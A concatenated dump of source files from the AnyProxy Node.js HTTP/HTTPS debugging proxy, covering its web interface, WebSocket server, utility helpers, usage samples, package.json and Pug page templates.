=> { 204 | networkInterfaces[nic].filter((detail) => { 205 | if (detail.family.toLowerCase() === 'ipv4') { 206 | allIp.push(detail.address); 207 | } 208 | }); 209 | }); 210 | 211 | return allIp.length ? allIp : ['127.0.0.1']; 212 | }; 213 | 214 | function deleteFolderContentsRecursive(dirPath, ifClearFolderItself) { 215 | if (!dirPath.trim() || dirPath === '/') { 216 | throw new Error('can_not_delete_this_dir'); 217 | } 218 | 219 | if (fs.existsSync(dirPath)) { 220 | fs.readdirSync(dirPath).forEach((file) => { 221 | const curPath = path.join(dirPath, file); 222 | if (fs.lstatSync(curPath).isDirectory()) { 223 | deleteFolderContentsRecursive(curPath, true); 224 | } else { // delete all files 225 | fs.unlinkSync(curPath); 226 | } 227 | }); 228 | 229 | if (ifClearFolderItself) { 230 | try { 231 | // ref: https://github.com/shelljs/shelljs/issues/49 232 | const start = Date.now(); 233 | while (true) { 234 | try { 235 | fs.rmdirSync(dirPath); 236 | break; 237 | } catch (er) { 238 | if (process.platform === 'win32' && (er.code === 'ENOTEMPTY' || er.code === 'EBUSY' || er.code === 'EPERM')) { 239 | // Retry on windows, sometimes it takes a little time before all the files in the directory are gone 240 | if (Date.now() - start > 1000) throw er; 241 | } else if (er.code === 'ENOENT') { 242 | break; 243 | } else { 244 | throw er; 245 | } 246 | } 247 | } 248 | } catch (e) { 249 | throw new Error('could not remove directory (code ' + e.code + '): ' + dirPath); 250 | } 251 | } 252 | } 253 | } 254 | 255 | module.exports.deleteFolderContentsRecursive = deleteFolderContentsRecursive; 256 | 257 | module.exports.getFreePort = function () { 258 | return new Promise((resolve, reject) => { 259 | const server = require('net').createServer(); 260 | server.unref(); 261 | server.on('error', reject); 262 | server.listen(0, () => { 263 | const port = server.address().port; 264 | server.close(() => { 265 | resolve(port); 266 | }); 267 | }); 268 | }); 269 | } 270 | 271 | module.exports.collectErrorLog = function (error) { 272 | if (error && error.code && error.toString()) { 273 | return error.toString(); 274 | } else { 275 | let result = [error, error.stack].join('\n'); 276 | try { 277 | const errorString = error.toString(); 278 | if (errorString.indexOf('You may only yield a function') >= 0) { 279 | result = 'Function is not yieldable. Did you forget to provide a generator or promise in rule file ? \nFAQ http://anyproxy.io/4.x/#faq'; 280 | } 281 | } catch (e) {} 282 | return result 283 | } 284 | } 285 | 286 | module.exports.isFunc = function (source) { 287 | return source && Object.tostring.call(source) === '[object Function]'; 288 | }; 289 | 290 | /** 291 | * @param {object} content 292 | * @returns the size of the content 293 | */ 294 | module.exports.getByteSize = function (content) { 295 | return Buffer.byteLength(content); 296 | }; 297 | 298 | /* 299 | * identify whether the 300 | */ 301 | module.exports.isIpDomain = function (domain) { 302 | if (!domain) { 303 | return false; 304 | } 305 | const ipReg = /^\d+?\.\d+?\.\d+?\.\d+?$/; 306 | 307 | return ipReg.test(domain); 308 | }; 309 | 310 | module.exports.execScriptSync = function (cmd) { 311 | let stdout, 312 | status = 0; 313 | try { 314 | stdout = child_process.execSync(cmd); 315 | } catch (err) { 316 | stdout = err.stdout; 317 | status = err.status; 318 | } 319 | 320 | return { 321 | stdout: stdout.toString(), 322 | status 323 | }; 324 | }; 325 | 326 | module.exports.guideToHomePage = function () { 327 | logUtil.info('Refer to http://anyproxy.io for more detail'); 328 | }; 329 | -------------------------------------------------------------------------------- /anyproxy/lib/webInterface.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const express = require('express'), 4 | url = require('url'), 5 | bodyParser = require('body-parser'), 6 | fs = require('fs'), 7 | path = require('path'), 8 | events = require('events'), 9 | qrCode = require('qrcode-npm'), 10 | util = require('./util'), 11 | certMgr = require('./certMgr'), 12 | wsServer = require('./wsServer'), 13 | juicer = require('juicer'), 14 | ip = require('ip'), 15 | compress = require('compression'), 16 | pug = require('pug'); 17 | 18 | const DEFAULT_WEB_PORT = 8002; // port for web interface 19 | 20 | const packageJson = require('../package.json'); 21 | 22 | const MAX_CONTENT_SIZE = 1024 * 2000; // 2000kb 23 | 24 | const certFileTypes = ['crt', 'cer', 'pem', 'der']; 25 | /** 26 | * 27 | * 28 | * @class webInterface 29 | * @extends {events.EventEmitter} 30 | */ 31 | class webInterface extends events.EventEmitter { 32 | /** 33 | * Creates an instance of webInterface. 34 | * 35 | * @param {object} config 36 | * @param {number} config.webPort 37 | * @param {object} recorder 38 | * 39 | * @memberOf webInterface 40 | */ 41 | constructor(config, recorder) { 42 | if (!recorder) { 43 | throw new Error('recorder is required for web interface'); 44 | } 45 | super(); 46 | const self = this; 47 | self.webPort = config.webPort || DEFAULT_WEB_PORT; 48 | self.recorder = recorder; 49 | self.config = config || {}; 50 | 51 | self.app = this.getServer(); 52 | self.server = null; 53 | self.wsServer = null; 54 | } 55 | 56 | /** 57 | * get the express server 58 | */ 59 | getServer() { 60 | const self = this; 61 | const recorder = self.recorder; 62 | const ipAddress = ip.address(), 63 | // userRule = proxyInstance.proxyRule, 64 | webBasePath = 'web'; 65 | let ruleSummary = ''; 66 | let customMenu = []; 67 | 68 | try { 69 | ruleSummary = ''; //userRule.summary(); 70 | customMenu = ''; // userRule._getCustomMenu(); 71 | } catch (e) { } 72 | 73 | const staticDir = path.join(__dirname, '../', webBasePath); 74 | const app = express(); 75 | 76 | app.use(compress()); //invoke gzip 77 | app.use((req, res, next) => { 78 | res.setHeader('note', 'THIS IS A REQUEST FROM ANYPROXY WEB INTERFACE'); 79 | return next(); 80 | }); 81 | app.use(bodyParser.json()); 82 | 83 | app.get('/latestLog', (req, res) => { 84 | res.setHeader('Access-Control-Allow-Origin', '*'); 85 | recorder.getRecords(null, 10000, (err, docs) => { 86 | if (err) { 87 | res.end(err.toString()); 88 | } else { 89 | res.json(docs); 90 | } 91 | }); 92 | }); 93 | 94 | app.get('/downloadBody', (req, res) => { 95 | const query = req.query; 96 | recorder.getDecodedBody(query.id, (err, result) => { 97 | if (err || !result || !result.content) { 98 | res.json({}); 99 | } else if (result.mime) { 100 | if (query.raw === 'true') { 101 | //TODO : cache query result 102 | res.type(result.mime).end(result.content); 103 | } else if (query.download === 'true') { 104 | res.setHeader('Content-disposition', `attachment; filename=${result.fileName}`); 105 | res.setHeader('Content-type', result.mime); 106 | res.end(result.content); 107 | } 108 | } else { 109 | res.json({ 110 | 111 | }); 112 | } 113 | }); 114 | }); 115 | 116 | app.get('/fetchBody', (req, res) => { 117 | res.setHeader('Access-Control-Allow-Origin', '*'); 118 | const query = req.query; 119 | if (query && query.id) { 120 | recorder.getDecodedBody(query.id, (err, result) => { 121 | // 返回下载信息 122 | const _resDownload = function (isDownload) { 123 | isDownload = typeof isDownload === 'boolean' ? isDownload : true; 124 | res.json({ 125 | id: query.id, 126 | type: result.type, 127 | method: result.meethod, 128 | fileName: result.fileName, 129 | ref: `/downloadBody?id=${query.id}&download=${isDownload}&raw=${!isDownload}` 130 | }); 131 | }; 132 | 133 | // 返回内容 134 | const _resContent = () => { 135 | if (util.getByteSize(result.content || '') > MAX_CONTENT_SIZE) { 136 | _resDownload(true); 137 | return; 138 | } 139 | 140 | res.json({ 141 | id: query.id, 142 | type: result.type, 143 | method: result.method, 144 | resBody: result.content 145 | }); 146 | }; 147 | 148 | if (err || !result) { 149 | res.json({}); 150 | } else if (result.statusCode === 200 && result.mime) { 151 | // deal with 'application/x-javascript' and 'application/javascript' 152 | if (/json|text|javascript/.test(result.mime)) { 153 | _resContent(); 154 | } else if (result.type === 'image') { 155 | _resDownload(false); 156 | } else { 157 | _resDownload(true); 158 | } 159 | } else { 160 | _resContent(); 161 | } 162 | }); 163 | } else { 164 | res.end(''); 165 | } 166 | }); 167 | 168 | app.get('/fetchReqBody', (req, res) => { 169 | const query = req.query; 170 | if (query && query.id) { 171 | recorder.getSingleRecord(query.id, (err, doc) => { 172 | if (err || !doc[0]) { 173 | console.error(err); 174 | res.end(''); 175 | return; 176 | } 177 | 178 | res.setHeader('Content-disposition', `attachment; filename=request_${query.id}_body.txt`); 179 | res.setHeader('Content-type', 'text/plain'); 180 | res.end(doc[0].reqBody); 181 | }); 182 | } else { 183 | res.end(''); 184 | } 185 | }); 186 | 187 | app.get('/fetchWsMessages', (req, res) => { 188 | const query = req.query; 189 | if (query && query.id) { 190 | recorder.getDecodedWsMessage(query.id, (err, messages) => { 191 | if (err) { 192 | console.error(err); 193 | res.json([]); 194 | return; 195 | } 196 | res.json(messages); 197 | }); 198 | } else { 199 | res.json([]); 200 | } 201 | }); 202 | 203 | app.get('/downloadCrt', (req, res) => { 204 | const pageFn = pug.compileFile(path.join(__dirname, '../resource/cert_download.pug')); 205 | res.end(pageFn({ ua: req.get('user-agent') })); 206 | }); 207 | 208 | app.get('/fetchCrtFile', (req, res) => { 209 | res.setHeader('Access-Control-Allow-Origin', '*'); 210 | const _crtFilePath = certMgr.getRootCAFilePath(); 211 | if (_crtFilePath) { 212 | const fileType = certFileTypes.indexOf(req.query.type) !== -1 ? req.query.type : 'crt'; 213 | res.setHeader('Content-Type', 'application/x-x509-ca-cert'); 214 | res.setHeader('Content-Disposition', `attachment; filename="rootCA.${fileType}"`); 215 | res.end(fs.readFileSync(_crtFilePath, { encoding: null })); 216 | } else { 217 | res.setHeader('Content-Type', 'text/html'); 218 | res.end('can not file rootCA ,plase use anyproxy --root to generate one'); 219 | } 220 | }); 221 | 222 | app.get('/api/getQrCode', (req, res) => { 223 | res.setHeader('Access-Control-Allow-Origin', '*'); 224 | 225 | const qr = qrCode.qrcode(4, 'M'); 226 | const targetUrl = req.protocol + '://' + req.get('host') + '/downloadCrt'; 227 | const isRootCAFileExists = certMgr.isRootCAFileExists(); 228 | 229 | qr.addData(targetUrl); 230 | qr.make(); 231 | 232 | res.json({ 233 | status: 'success', 234 | url: targetUrl, 235 | isRootCAFileExists, 236 | qrImgDom: qr.createImgTag(4) 237 | }); 238 | }); 239 | 240 | // response init data 241 | app.get('/api/getInitData', (req, res) => { 242 | res.setHeader('Access-Control-Allow-Origin', '*'); 243 | const rootCAExists = certMgr.isRootCAFileExists(); 244 | const rootDirPath = certMgr.getRootDirPath(); 245 | const interceptFlag = false; //proxyInstance.getInterceptFlag(); TODO 246 | const globalProxyFlag = false; // TODO: proxyInstance.getGlobalProxyFlag(); 247 | res.json({ 248 | status: 'success', 249 | rootCAExists, 250 | rootCADirPath: rootDirPath, 251 | currentInterceptFlag: interceptFlag, 252 | currentGlobalProxyFlag: globalProxyFlag, 253 | ruleSummary: ruleSummary || '', 254 | ipAddress: util.getAllIpAddress(), 255 | port: '', //proxyInstance.proxyPort, // TODO 256 | appVersion: packageJson.version 257 | }); 258 | }); 259 | 260 | app.post('/api/generateRootCA', (req, res) => { 261 | res.setHeader('Access-Control-Allow-Origin', '*'); 262 | const rootExists = certMgr.isRootCAFileExists(); 263 | if (!rootExists) { 264 | certMgr.generateRootCA(() => { 265 | res.json({ 266 | status: 'success', 267 | code: 'done' 268 | }); 269 | }); 270 | } else { 271 | res.json({ 272 | status: 'success', 273 | code: 'root_ca_exists' 274 | }); 275 | } 276 | }); 277 | 278 | app.use((req, res, next) => { 279 | const indexTpl = fs.readFileSync(path.join(staticDir, '/index.html'), { encoding: 'utf8' }), 280 | opt = { 281 | rule: ruleSummary || '', 282 | customMenu: customMenu || [], 283 | ipAddress: ipAddress || '127.0.0.1' 284 | }; 285 | 286 | if (url.parse(req.url).pathname === '/') { 287 | res.setHeader('Content-Type', 'text/html'); 288 | res.end(juicer(indexTpl, opt)); 289 | } else { 290 | next(); 291 | } 292 | }); 293 | app.use(express.static(staticDir)); 294 | return app; 295 | } 296 | 297 | start() { 298 | const self = this; 299 | return new Promise((resolve, reject) => { 300 | self.server = self.app.listen(self.webPort); 301 | self.wsServer = new wsServer({ 302 | server: self.server 303 | }, self.recorder); 304 | self.wsServer.start(); 305 | resolve(); 306 | }) 307 | } 308 | 309 | close() { 310 | const self = this; 311 | return new Promise((resolve, reject) => { 312 | self.server && self.server.close(); 313 | self.wsServer && self.wsServer.closeAll(); 314 | self.server = null; 315 | self.wsServer = null; 316 | self.proxyInstance = null; 317 | resolve(); 318 | }); 319 | } 320 | } 321 | 322 | module.exports = webInterface; 323 | -------------------------------------------------------------------------------- /anyproxy/lib/wsServer.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | //websocket server manager 4 | 5 | const WebSocketServer = require('ws').Server; 6 | const logUtil = require('./log'); 7 | 8 | function resToMsg(msg, recorder, cb) { 9 | let result = {}, 10 | jsonData; 11 | 12 | try { 13 | jsonData = JSON.parse(msg); 14 | } catch (e) { 15 | result = { 16 | type: 'error', 17 | error: 'failed to parse your request : ' + e.toString() 18 | }; 19 | cb && cb(result); 20 | return; 21 | } 22 | 23 | if (jsonData.reqRef) { 24 | result.reqRef = jsonData.reqRef; 25 | } 26 | 27 | if (jsonData.type === 'reqBody' && jsonData.id) { 28 | result.type = 'body'; 29 | recorder.getBody(jsonData.id, (err, data) => { 30 | if (err) { 31 | result.content = { 32 | id: null, 33 | body: null, 34 | error: err.toString() 35 | }; 36 | } else { 37 | result.content = { 38 | id: jsonData.id, 39 | body: data.toString() 40 | }; 41 | } 42 | cb && cb(result); 43 | }); 44 | } else { // more req handler here 45 | return null; 46 | } 47 | } 48 | 49 | //config.server 50 | 51 | class wsServer { 52 | constructor(config, recorder) { 53 | if (!recorder) { 54 | throw new Error('proxy recorder is required'); 55 | } else if (!config || !config.server) { 56 | throw new Error('config.server is required'); 57 | } 58 | 59 | const self = this; 60 | self.config = config; 61 | self.recorder = recorder; 62 | } 63 | 64 | start() { 65 | const self = this; 66 | const config = self.config; 67 | const recorder = self.recorder; 68 | return new Promise((resolve, reject) => { 69 | //web socket interface 70 | const wss = new WebSocketServer({ 71 | server: config.server, 72 | clientTracking: true, 73 | }); 74 | resolve(); 75 | 76 | // the queue of the messages to be delivered 77 | let messageQueue = []; 78 | // the flat to indicate wheter to broadcast the record 79 | let broadcastFlag = true; 80 | 81 | setInterval(() => { 82 | broadcastFlag = true; 83 | sendMultipleMessage(); 84 | }, 50); 85 | 86 | function sendMultipleMessage(data) { 87 | // if the flag goes to be true, and there are records to send 88 | if (broadcastFlag && messageQueue.length > 0) { 89 | wss && wss.broadcast({ 90 | type: 'updateMultiple', 91 | content: messageQueue 92 | }); 93 | messageQueue = []; 94 | broadcastFlag = false; 95 | } else { 96 | data && messageQueue.push(data); 97 | } 98 | } 99 | 100 | wss.broadcast = function (data) { 101 | if (typeof data === 'object') { 102 | try { 103 | data = JSON.stringify(data); 104 | } catch (e) { 105 | console.error('==> error when do broadcast ', e, data); 106 | } 107 | } 108 | for (const client of wss.clients) { 109 | try { 110 | client.send(data); 111 | } catch (e) { 112 | logUtil.printLog('websocket failed to send data, ' + e, logUtil.T_ERR); 113 | } 114 | } 115 | }; 116 | 117 | wss.on('connection', (ws) => { 118 | ws.on('message', (msg) => { 119 | resToMsg(msg, recorder, (res) => { 120 | res && ws.send(JSON.stringify(res)); 121 | }); 122 | }); 123 | 124 | ws.on('error', (e) => { 125 | console.error('error in ws:', e); 126 | }); 127 | }); 128 | 129 | wss.on('error', (e) => { 130 | logUtil.printLog('websocket error, ' + e, logUtil.T_ERR); 131 | }); 132 | 133 | wss.on('close', () => { }); 134 | 135 | recorder.on('update', (data) => { 136 | try { 137 | sendMultipleMessage(data); 138 | } catch (e) { 139 | console.log('ws error'); 140 | console.log(e); 141 | } 142 | }); 143 | 144 | recorder.on('updateLatestWsMsg', (data) => { 145 | try { 146 | // console.info('==> update latestMsg ', data); 147 | wss && wss.broadcast({ 148 | type: 'updateLatestWsMsg', 149 | content: data 150 | }); 151 | } catch (e) { 152 | logUtil.error(e.message); 153 | logUtil.error(e.stack); 154 | console.error(e); 155 | } 156 | }); 157 | 158 | self.wss = wss; 159 | }); 160 | } 161 | 162 | closeAll() { 163 | const self = this; 164 | return new Promise((resolve, reject) => { 165 | self.wss.close((e) => { 166 | if (e) { 167 | reject(e); 168 | } else { 169 | resolve(); 170 | } 171 | }); 172 | }); 173 | } 174 | } 175 | 176 | module.exports = wsServer; 177 | -------------------------------------------------------------------------------- /anyproxy/lib/wsServerMgr.js: -------------------------------------------------------------------------------- 1 | /** 2 | * manage the websocket server 3 | * 4 | */ 5 | const ws = require('ws'); 6 | const logUtil = require('./log.js'); 7 | 8 | const WsServer = ws.Server; 9 | 10 | /** 11 | * get a new websocket server based on the server 12 | * @param @required {object} config 13 | {string} config.server 14 | {handler} config.handler 15 | */ 16 | function getWsServer(config) { 17 | const wss = new WsServer({ 18 | server: config.server 19 | }); 20 | 21 | wss.on('connection', config.connHandler); 22 | 23 | wss.on('headers', (headers) => { 24 | headers.push('x-anyproxy-websocket:true'); 25 | }); 26 | 27 | wss.on('error', e => { 28 | logUtil.error(`error in websocket proxy: ${e.message},\r\n ${e.stack}`); 29 | console.error('error happened in proxy websocket:', e) 30 | }); 31 | 32 | wss.on('close', e => { 33 | console.error('==> closing the ws server'); 34 | }); 35 | 36 | return wss; 37 | } 38 | 39 | module.exports.getWsServer = getWsServer; 40 | -------------------------------------------------------------------------------- /anyproxy/module_sample/core_reload.js: -------------------------------------------------------------------------------- 1 | const AnyProxy = require('../proxy'); 2 | const exec = require('child_process').exec; 3 | 4 | const AnyProxyRecorder = require('../lib/recorder'); 5 | const WebInterfaceLite = require('../lib/webInterface'); 6 | 7 | /* 8 | ------------------------------- 9 | | ProxyServerA | ProxyServerB | 10 | ------------------------------- ---------------------------- 11 | | Common Recorder | -------(by events)------| WebInterfaceLite | 12 | ------------------------------- ---------------------------- 13 | */ 14 | 15 | 16 | const commonRecorder = new AnyProxyRecorder(); 17 | 18 | // web interface依赖recorder 19 | new WebInterfaceLite({ // common web interface 20 | webPort: 8002 21 | }, commonRecorder); 22 | 23 | // proxy core只依赖recorder,与webServer无关 24 | const optionsA = { 25 | port: 8001, 26 | recorder: commonRecorder, // use common recorder 27 | }; 28 | 29 | const optionsB = { 30 | port: 8005, 31 | recorder: commonRecorder, // use common recorder 32 | }; 33 | 34 | const proxyServerA = new AnyProxy.ProxyCore(optionsA); 35 | const proxyServerB = new AnyProxy.ProxyCore(optionsB); 36 | 37 | proxyServerA.start(); 38 | proxyServerB.start(); 39 | 40 | // after both ready 41 | setTimeout(() => { 42 | exec('curl http://www.qq.com --proxy http://127.0.0.1:8001'); 43 | exec('curl http://www.sina.com.cn --proxy http://127.0.0.1:8005'); 44 | }, 1000); 45 | 46 | // visit http://127.0.0.1 , there should be two records 47 | 48 | -------------------------------------------------------------------------------- /anyproxy/module_sample/https_config.js: -------------------------------------------------------------------------------- 1 | const AnyProxy = require('../proxy'); 2 | const exec = require('child_process').exec; 3 | 4 | if (!AnyProxy.utils.certMgr.ifRootCAFileExists()) { 5 | AnyProxy.utils.certMgr.generateRootCA((error, keyPath) => { 6 | // let users to trust this CA before using proxy 7 | if (!error) { 8 | const certDir = require('path').dirname(keyPath); 9 | console.log('The cert is generated at', certDir); 10 | const isWin = /^win/.test(process.platform); 11 | if (isWin) { 12 | exec('start .', { cwd: certDir }); 13 | } else { 14 | exec('open .', { cwd: certDir }); 15 | } 16 | } else { 17 | console.error('error when generating rootCA', error); 18 | } 19 | }); 20 | } else { 21 | // clear all the certificates 22 | // AnyProxy.utils.certMgr.clearCerts() 23 | } 24 | -------------------------------------------------------------------------------- /anyproxy/module_sample/normal_use.js: -------------------------------------------------------------------------------- 1 | const AnyProxy = require('../proxy'); 2 | 3 | const options = { 4 | type: 'http', 5 | port: 8001, 6 | rule: null, 7 | webInterface: { 8 | enable: true, 9 | webPort: 8002 10 | }, 11 | throttle: 10000, 12 | forceProxyHttps: true, 13 | silent: false 14 | }; 15 | const proxyServer = new AnyProxy.ProxyServer(options); 16 | 17 | proxyServer.on('ready', () => { 18 | console.log('ready'); 19 | // set as system proxy 20 | proxyServer.close().then(() => { 21 | const proxyServerB = new AnyProxy.ProxyServer(options); 22 | proxyServerB.start(); 23 | }); 24 | 25 | console.log('closed'); 26 | // setTimeout(() => { 27 | 28 | // }, 2000); 29 | 30 | 31 | // AnyProxy.utils.systemProxyMgr.enableGlobalProxy('127.0.0.1', '8001'); 32 | }); 33 | 34 | proxyServer.on('error', (e) => { 35 | console.log('proxy error'); 36 | console.log(e); 37 | }); 38 | 39 | process.on('SIGINT', () => { 40 | // AnyProxy.utils.systemProxyMgr.disableGlobalProxy(); 41 | proxyServer.close(); 42 | process.exit(); 43 | }); 44 | 45 | 46 | proxyServer.start(); 47 | 48 | 49 | // const WebSocketServer = require('ws').Server; 50 | // const wsServer = new WebSocketServer({ port: 8003 },function(){ 51 | // console.log('ready'); 52 | 53 | // try { 54 | // const serverB = new WebSocketServer({ port: 8003 }, function (e, result) { 55 | // console.log('---in B---'); 56 | // console.log(e); 57 | // console.log(result); 58 | // }); 59 | // } catch(e) { 60 | // console.log(e); 61 | // console.log('e'); 62 | // } 63 | 64 | // // wsServer.close(function (e, result) { 65 | // // console.log('in close'); 66 | // // console.log(e); 67 | // // console.log(result); 68 | // // }); 69 | // }); 70 | -------------------------------------------------------------------------------- /anyproxy/module_sample/simple_use.js: -------------------------------------------------------------------------------- 1 | const AnyProxy = require('../proxy'); 2 | 3 | const options = { 4 | port: 8001, 5 | webInterface: { 6 | enable: true 7 | } 8 | }; 9 | const proxyServer = new AnyProxy.ProxyServer(options); 10 | proxyServer.start(); 11 | -------------------------------------------------------------------------------- /anyproxy/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "_from": "anyproxy", 3 | "_id": "anyproxy@4.1.2", 4 | "_inBundle": false, 5 | "_integrity": "sha512-vve6s6aP93+n8QtjAVOtMpr92etTUzVtMuNI8VIxPoNhsu+DQBZ3HYOmuSYActQtJJnKWzArs+ZhLL1SSi/bpw==", 6 | "_location": "/anyproxy", 7 | "_phantomChildren": {}, 8 | "_requested": { 9 | "type": "tag", 10 | "registry": true, 11 | "raw": "anyproxy", 12 | "name": "anyproxy", 13 | "escapedName": "anyproxy", 14 | "rawSpec": "", 15 | "saveSpec": null, 16 | "fetchSpec": "latest" 17 | }, 18 | "_requiredBy": [ 19 | "#USER", 20 | "/" 21 | ], 22 | "_resolved": "https://registry.npmjs.org/anyproxy/-/anyproxy-4.1.2.tgz", 23 | "_shasum": "d01611b88453f9e6c349e9b99c36099b981c3e70", 24 | "_spec": "anyproxy", 25 | "_where": "/Users/mandatory/Programming/croxy", 26 | "author": { 27 | "name": "ottomao@gmail.com" 28 | }, 29 | "bin": { 30 | "anyproxy-ca": "bin/anyproxy-ca", 31 | "anyproxy": "bin/anyproxy" 32 | }, 33 | "bugs": { 34 | "url": "https://github.com/alibaba/anyproxy/issues" 35 | }, 36 | "bundleDependencies": false, 37 | "dependencies": { 38 | "async": "~0.9.0", 39 | "async-task-mgr": ">=1.1.0", 40 | "body-parser": "^1.13.1", 41 | "brotli": "^1.3.2", 42 | "classnames": "^2.2.5", 43 | "clipboard-js": "^0.3.3", 44 | "co": "^4.6.0", 45 | "colorful": "^2.1.0", 46 | "commander": "~2.11.0", 47 | "component-emitter": "^1.2.1", 48 | "compression": "^1.4.4", 49 | "es6-promise": "^3.3.1", 50 | "express": "^4.8.5", 51 | "fast-json-stringify": "^0.17.0", 52 | "iconv-lite": "^0.4.6", 53 | "inquirer": "^5.2.0", 54 | "ip": "^0.3.2", 55 | "juicer": "^0.6.6-stable", 56 | "mime-types": "2.1.11", 57 | "moment": "^2.15.1", 58 | "nedb": "^1.8.0", 59 | "node-easy-cert": "^1.0.0", 60 | "pug": "^2.0.0-beta6", 61 | "qrcode-npm": "0.0.3", 62 | "request": "^2.74.0", 63 | "stream-throttle": "^0.1.3", 64 | "svg-inline-react": "^1.0.2", 65 | "thunkify": "^2.1.2", 66 | "whatwg-fetch": "^1.0.0", 67 | "ws": "^5.1.0" 68 | }, 69 | "deprecated": false, 70 | "description": "A fully configurable HTTP/HTTPS proxy in Node.js", 71 | "devDependencies": { 72 | "antd": "^2.5.0", 73 | "autoprefixer": "^6.4.1", 74 | "babel-core": "^6.14.0", 75 | "babel-eslint": "^7.0.0", 76 | "babel-loader": "^6.2.5", 77 | "babel-plugin-import": "^1.0.0", 78 | "babel-plugin-transform-runtime": "^6.15.0", 79 | "babel-polyfill": "^6.13.0", 80 | "babel-preset-es2015": "^6.13.2", 81 | "babel-preset-react": "^6.11.1", 82 | "babel-preset-stage-0": "^6.5.0", 83 | "babel-register": "^6.11.6", 84 | "babel-runtime": "^6.11.6", 85 | "css-loader": "^0.23.1", 86 | "eslint": ">=4.18.2", 87 | "eslint-config-airbnb": "^15.1.0", 88 | "eslint-plugin-import": "^2.7.0", 89 | "eslint-plugin-jsx-a11y": "^5.1.1", 90 | "eslint-plugin-react": "^7.4.0", 91 | "extract-text-webpack-plugin": "^3.0.2", 92 | "file-loader": "^0.9.0", 93 | "jasmine": "^2.5.3", 94 | "koa": "^1.2.1", 95 | "koa-body": "^1.4.0", 96 | "koa-router": "^5.4.0", 97 | "koa-send": "^3.2.0", 98 | "less": "^2.7.1", 99 | "less-loader": "^2.2.3", 100 | "node-simhash": "^0.1.0", 101 | "nodeunit": "^0.9.1", 102 | "phantom": "^4.0.0", 103 | "postcss-loader": "^0.13.0", 104 | "pre-commit": "^1.2.2", 105 | "react": "^15.3.1", 106 | "react-addons-perf": "^15.4.0", 107 | "react-dom": "^15.3.1", 108 | "react-json-tree": "^0.10.0", 109 | "react-redux": "^4.4.5", 110 | "react-tap-event-plugin": "^1.0.0", 111 | "redux": "^3.6.0", 112 | "redux-saga": "^0.11.1", 113 | "stream-equal": "0.1.8", 114 | "style-loader": "^0.13.1", 115 | "svg-inline-loader": "^0.7.1", 116 | "tunnel": "^0.0.6", 117 | "url-loader": "^0.5.7", 118 | "webpack": "^3.10.0", 119 | "worker-loader": "^0.7.1" 120 | }, 121 | "engines": { 122 | "node": ">=6.0.0" 123 | }, 124 | "homepage": "https://github.com/alibaba/anyproxy#readme", 125 | "license": "Apache-2.0", 126 | "main": "proxy.js", 127 | "name": "anyproxy", 128 | "pre-commit": [ 129 | "lint" 130 | ], 131 | "repository": { 132 | "type": "git", 133 | "url": "git+https://github.com/alibaba/anyproxy.git" 134 | }, 135 | "scripts": { 136 | "buildweb": "NODE_ENV=production webpack --config web/webpack.config.js --colors", 137 | "doc:build": "./build_scripts/build-doc-site.sh", 138 | "doc:serve": "node build_scripts/prebuild-doc.js && gitbook serve ./docs-src ./docs --log debug", 139 | "lint": "eslint .", 140 | "prepublish": "npm run buildweb", 141 | "test": "node test.js", 142 | "testOutWeb": "jasmine test/spec_outweb/test_realweb_spec.js", 143 | "testserver": "node test/server/startServer.js", 144 | "webserver": "NODE_ENV=test webpack --config web/webpack.config.js --colors --watch" 145 | }, 146 | "version": "4.1.2" 147 | } 148 | -------------------------------------------------------------------------------- /anyproxy/resource/502.pug: -------------------------------------------------------------------------------- 1 | doctype html 2 | html(lang="en") 3 | head 4 | title AnyProxy Inner Error 5 | style. 6 | body { 7 | color: #666; 8 | line-height: 1.5; 9 | font-size: 13px; 10 | font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif; 11 | } 12 | 13 | body * { 14 | box-sizing: border-box; 15 | } 16 | 17 | .stackError { 18 | border-radius: 5px; 19 | padding: 20px; 20 | border: 1px solid #fdc; 21 | background-color: #ffeee6; 22 | color: #666; 23 | } 24 | .stackError li { 25 | list-style-type: none; 26 | } 27 | .infoItem { 28 | position: relative; 29 | overflow: hidden; 30 | border: 1px solid #d5f1fd; 31 | background-color: #eaf8fe; 32 | border-radius: 4px; 33 | margin-bottom: 5px; 34 | padding-left: 70px; 35 | } 36 | .infoItem .label { 37 | position: absolute; 38 | top: 0; 39 | left: 0; 40 | bottom: 0; 41 | display: flex; 42 | justify-content: flex-start; 43 | align-items: center; 44 | width: 70px; 45 | font-weight: 300; 46 | background-color: #76abc1; 47 | color: #fff; 48 | padding: 5px; 49 | } 50 | .infoItem .value { 51 | overflow:hidden; 52 | padding: 5px; 53 | } 54 | 55 | .tipItem .label { 56 | background-color: #ecf6fd; 57 | } 58 | .tip { 59 | color: #808080; 60 | } 61 | body 62 | h1 # AnyProxy Inner Error 63 | h3 Oops! Error happend when AnyProxy handle the request. 64 | p.tip This is an error occurred inside AnyProxy, not from your target website. 65 | .infoItem 66 | .label 67 | | Error: 68 | .value #{error} 69 | .infoItem 70 | .label 71 | | URL: 72 | .value #{url} 73 | if tipMessage 74 | .infoItem 75 | .label 76 | | TIP: 77 | .value!= tipMessage 78 | p 79 | ul.stackError 80 | each item in errorStack 81 | li= item -------------------------------------------------------------------------------- /anyproxy/resource/cert_download.pug: -------------------------------------------------------------------------------- 1 | doctype html 2 | html(lang="en") 3 | head 4 | title Download rootCA 5 | meta(name='viewport', content='initial-scale=1, maximum-scale=0.5, minimum-scale=1, user-scalable=no') 6 | style. 7 | body { 8 | color: #666; 9 | line-height: 1.5; 10 | font-size: 16px; 11 | font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif; 12 | } 13 | 14 | body * { 15 | box-sizing: border-box; 16 | } 17 | 18 | .logo { 19 | font-size: 36px; 20 | margin-bottom: 40px; 21 | text-align: center; 22 | } 23 | 24 | .any { 25 | font-weight: 500; 26 | } 27 | 28 | .proxy { 29 | font-weight: 100; 30 | } 31 | 32 | .title { 33 | font-weight: bold; 34 | margin: 20px 0 6px; 35 | } 36 | 37 | .button { 38 | text-align: center; 39 | padding: 4px 15px 5px 15px; 40 | font-size: 14px; 41 | font-weight: 500; 42 | border-radius: 4px; 43 | height: 32px; 44 | margin-bottom: 10px; 45 | display: block; 46 | text-decoration: none; 47 | 